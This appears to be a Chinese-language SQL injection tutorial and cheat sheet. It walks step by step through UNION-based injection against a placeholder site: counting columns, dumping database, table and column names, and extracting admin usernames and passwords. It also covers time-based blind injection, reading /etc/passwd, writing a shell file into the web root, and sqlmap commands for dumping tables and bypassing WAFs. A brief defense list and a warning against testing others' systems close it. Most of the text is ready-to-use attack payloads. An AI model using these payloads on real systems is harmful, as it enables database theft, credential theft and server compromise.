前置知識:語法錯誤 vs 邏輯錯誤
| 類型 | 特征 | 示例 |
| 語法錯誤 | SQL 解析失敗,數據庫拋錯 | id=1' 單引號未閉合 |
| 邏輯錯誤 | 語法正確,但業務邏輯異常 | id=1 AND 1=2 條件永假 |
UNION 注入核心原則
- 列數必須一致:
SELECT a,b FROM t1 UNION SELECT c,d FROM t2 兩側各 2 列
- 數據類型兼容:數字配數字,字符配字符
- ORDER BY 探測列數:
id=1 ORDER BY 1 → ORDER BY 2 ... 直到報錯,前一個數字即為列數
實戰步驟演示
1. 確定列數
https://target.com/look.php?ID=293 ORDER BY 1 -- 正常
https://target.com/look.php?ID=293 ORDER BY 5 -- 正常
https://target.com/look.php?ID=293 ORDER BY 6 -- 報錯 → 列數 = 5
2. 確定顯示位
https://target.com/look.php?ID=-1 UNION SELECT 1,2,3,4,5
# 頁面上出現 2,3,4,5 的位置即為可回顯字段
3. 爆當前數據庫信息
https://target.com/look.php?ID=-1 UNION SELECT 1,CONCAT(database(),0x3a,user(),0x3a,version()),3,4,5
# 輸出:db_name:db_user@localhost:5.7.33
4. 爆所有表名
https://target.com/look.php?ID=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT table_name),4,5
FROM information_schema.tables WHERE table_schema=database()
5. 爆指定表字段
# 表名十六進制:admin → 0x61646d696e
https://target.com/look.php?ID=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT column_name),4,5
FROM information_schema.columns WHERE table_name=0x61646d696e
6. 撞庫撞表
https://target.com/look.php?ID=-1 UNION SELECT 1,2,GROUP_CONCAT(DISTINCT CONCAT(adminName,0x3a,adminPWD)),4,5 FROM admin
information_schema 核心表結構
| 表名 | 關鍵字段 | 用途 |
| SCHEMATA | SCHEMA_NAME | 所有數據庫名 |
| TABLES | TABLE_SCHEMA, TABLE_NAME, TABLE_TYPE | 所有表信息 |
| COLUMNS | TABLE_SCHEMA, TABLE_NAME, COLUMN_NAME, DATA_TYPE | 所有字段信息 |
| USER_PRIVILEGES | GRANTEE, PRIVILEGE_TYPE | 用戶權限 |
高級技巧
1. 繞過字段數限制
# 使用 NULL 填充
UNION SELECT 1,NULL,NULL,NULL,NULL FROM admin
2. 盲注:時間延遲判斷
# MySQL
id=1 AND IF(1=1, SLEEP(5), 0) -- 頁面延遲 5 秒 → 條件為真
id=1 AND (SELECT CASE WHEN (1=1) THEN SLEEP(5) ELSE 0 END)
3. 讀取文件
# 需 FILE 權限 + secure_file_priv 為空
id=-1 UNION SELECT 1,LOAD_FILE(0x2F6574632F706173737764),3,4,5
# 0x2F6574632F706173737764 = /etc/passwd
4. 寫入文件
# 需 FILE 權限 + 知道網站絕對路徑
id=-1 UNION SELECT 1,"",3,4,5 INTO OUTFILE '/var/www/html/shell.php'
自動化工具:sqlmap 實戰
# 基礎掃描
sqlmap -u "https://target.com/look.php?ID=293" --batch --dbs
# 指定參數、POST 注入
sqlmap -u "https://target.com/look.php" --data "ID=293" -p ID --batch
# 直接獲取 admin 表數據
sqlmap -u "https://target.com/look.php?ID=293" -D dbname -T admin --dump
# 繞過 WAF
sqlmap -u "..." --tamper=space2comment,charencode --random-agent
防禦總結(重申)
- 參數化查詢:PDO/MySQLi 預處理,徹底解決
- 權限最小化:Web 賬號無 FILE、DROP、ALTER 權限
- 錯誤回顯關閉:
display_errors=Off
- WAF 攔截:ModSecurity 核心規則集
- 定期掃描:CI/CD 集成 sqlmap 自動化檢測
理解攻擊原理是為了更好地防禦,**永遠不要在生產環境測試他人系統**。